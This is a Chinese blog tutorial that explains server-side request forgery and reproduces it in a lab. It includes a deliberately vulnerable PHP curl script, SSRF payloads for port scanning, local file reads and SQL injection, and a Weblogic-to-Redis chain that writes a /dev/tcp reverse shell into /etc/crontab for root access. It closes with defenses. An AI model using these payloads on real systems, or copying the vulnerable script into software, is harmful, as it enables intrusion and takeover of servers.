服务端请求伪造(SSRF)及漏洞复现

来日可期x

已于 2023-09-05 15:41:20 修改

阅读量3.5k

点赞数 13

分类专栏： Web漏洞原理文章标签：网络安全安全网络系统安全

于 2023-09-04 19:35:54 首次发布

本文链接：https://blog.csdn.net/weixin_58783105/article/details/132676162

版权

Web漏洞原理专栏收录该内容

14 篇文章 1 订阅

订阅专栏

渗透测试漏洞原理

服务端请求伪造

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL，Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造"的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字Server Side Request Forgery，简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中，例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

1.1.1 PHP 实现

利用curl实现，需要PHP扩展组件curl支持

该实验需要开启curl

<?php
    if(isset($_REQUEST['url'])){
        $link = $_REQUEST['url'];
        $fileName = './curled/'.time().".txt";		# 在curled目录下新建一个文件，将请求到的内容放到该文件中。
        $curlObj = curl_init($link);		# 初始化
        $fp = fopen($fileName,'w');

        curl_setopt($curlObj,CURLOPT_FILE,$fp);
        curl_setopt($curlObj,CURLOPT_HEADER,0);
        curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

        curl_exec($curlObj);
        curl_close($curlObj);
        fclose($fp);

        if(getimagesize($fileName)){
            header("Content-Type:image/png");
        }

        $fp = fopen($fileName,'r');
        $result = fread($fp,filesize($fileName));
        fclose($fp);
        echo $result;
    }else{
        echo "?url=[url]";
    }
?>

在phpstudy的www目录下创建一个ssrf，然后在ssrf中创建一个curled目录。

在网上复制一个图片的链接https://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

浏览器中输入

http://127.0.0.1/ssrf/ssrf_curl.php?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

页面效果如下：

整个实验的流程：ssrf_curl.php文件会接受来着客户端的URL地址，然后服务器收到URL地址后，根据这个URL地址发起请求，把请求到的图片保存下来。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址，并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤，导致任意URL 输入。

没对响应的结果进行检验，直接输出。

1.3 SSRF 危害

漏洞危害：

内部资产暴露：攻击者可以通过伪造的请求访问内部资源，包括数据库、文件系统、配置文件、读取本地文件等。
敏感信息泄露：攻击者可以利用该漏洞获取敏感信息，例如访问受限 API、执行未经授权的操作等。
进行攻击：攻击者可以通过伪造的请求向其他系统发起攻击，例如内网端口扫描、攻击内网应用、内网Web应用指纹识别、利用其他漏洞等。

2. SSRF 攻防

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

例如：

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306 
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php

还可以读取ssrf_curl.php文件。

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\phpstudy_2016\www\phpMyAdmin"> 
    #Order allow,deny
	Order deny,allow 
    deny from all			# 拒绝所有
	allow from 127.0.0.1	# 只允许本机

</Directory>

修改httpd_config配置文件。

配置完后在内网中可以访问到phpMyAdmin

如果是外部访问的话，是无法访问到的。

内网应用指纹识别。可以看到phpmyadmin版本

?url=http://127.0.0.1/phpmyadmin/readme

2.1.5 攻击内网Web应用

内网安全通常都很薄弱。

<Directory "c:\phpstudy_2016\www\cms">
	#Order allow,deny 
	Order deny,allow 
	deny from all
	allow from 127.0.0.1

</Directory>

通过SSRF 漏洞可以实现对内网的访问，从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_ users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users

实验：

该页面存在SQL注入漏洞。尝试进行注入

说明：如果直接注入的话页面是没有反应的，因为这里的参数如id，联合查询等，应该给show.php，而现在是传递给了ssrf_curl.php。

解决方式：用注释来替换掉空格

2.2 SSRF 经典案例

链接地址：Weblogic SSRF 到GetShell。

启动docker环境

2.2.1 访问页面

发现404错误

这里访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。

访问指定页面，使用bp抓取数据包，点击Search。

找到指定的数据包信息

右键发送到重发器查看，发现页面报错

使用DNSLog，探测该页面是否存在SSRF漏洞。

bp中修改数据包

查看DNSLog解析结果

解析成功，说明该处存在SSRF漏洞。

2.2.2 漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT，如http://127.0.0.1:80：

可访问的80端口发生错误。

访问非http协议，则会返回did not have a valid SOAP content-type。

修改为一个不存在的端口，将会返回could not connect over HTTP to server。

通过错误的不同，即可探测内网状态。

通过SSRF漏洞探测到内网中的Redis服务器（docker环境的网段一般是172.*）这里我检测到了172.20.0.2该IP存活。探索该IP有哪些端口处于开放状态，这里探测到了Redis的6379端口开放。

对于Redis数据库有未授权访问的漏洞，利用方式如下：

数据库内容泄露
利用Redis数据库读写文件
- 编写Webshell，编写计划任务，写ssh公钥
RCE漏洞

因为读取数据是看不到服务器响应的，属于无回显状态。所以这里采用写数据的方式，写Webshell的前提是对方需要开启Web服务，而上面测试的时候80端口是未开放的。写ssh公钥的前提是需要对方开启SSH服务。最终采用编写计划任务的方式。

2.2.3 注入HTTP头，利用Redis反弹shell

发送三条redis命令，将弹shell脚本写入/etc/crontab：

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.188.185/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

Redis数据库命令是通过http协议进行提交的所以需要进行url编码：

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意：换行符是“\r\n”，也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面，发送：

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/wuhu%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Awuhu HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

kali中监听21端口

修改bp中的数据包信息

点击发送数据包。

反弹成功

查看当前权限为root。

最后补充一下，可进行利用的cron有如下几个地方：

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

2.3 SSRF 防御

2.3.1 过滤输入

限制协议，仅允许 http 或 https 协议。
限制IP，避免应用被用来获取内网数据，攻击内网。
限制端口，限制请求端口为常用端口。

2.3.2 过滤输出

过滤返回信息，只要不符合要求的，全部过滤。
统一错误信息，让攻击无法对内网信息进行判断。

2.3.3 内部网络隔离

将服务器与内部资源隔离开，并使用防火墙等措施限制对内部网络的访问。

2.3.4 授权验证和访问控制

实施严格的授权验证和访问控制机制，确保仅授权用户可以访问受限资源。

2.3.5 安全编码实践

开发人员应遵循安全编码指南，进行输入验证和输出编码，以减少漏洞发生的可能性。

3. SSRF 挖掘

Web功能	URL关键字
分享转码服务在线翻译图片加载与下载图片、文章收藏功能未公开的API 实现	share wap url link src source target u 3g display sourceURL imageURL domain …

来日可期x

关注

13
点赞
踩
28

收藏

觉得还不错? 一键收藏
打赏
3
评论
服务端请求伪造(SSRF)及漏洞复现

服务端请求伪造（Server-Side Request Forgery，简称SSRF）是一种常见的安全漏洞，攻击者可以通过该漏洞使服务器发起未经授权的请求，甚至可以访问内部资源。攻击者可以利用SSRF获取敏感信息、执行未经授权的操作或者进行其它攻击。
复制链接

扫一扫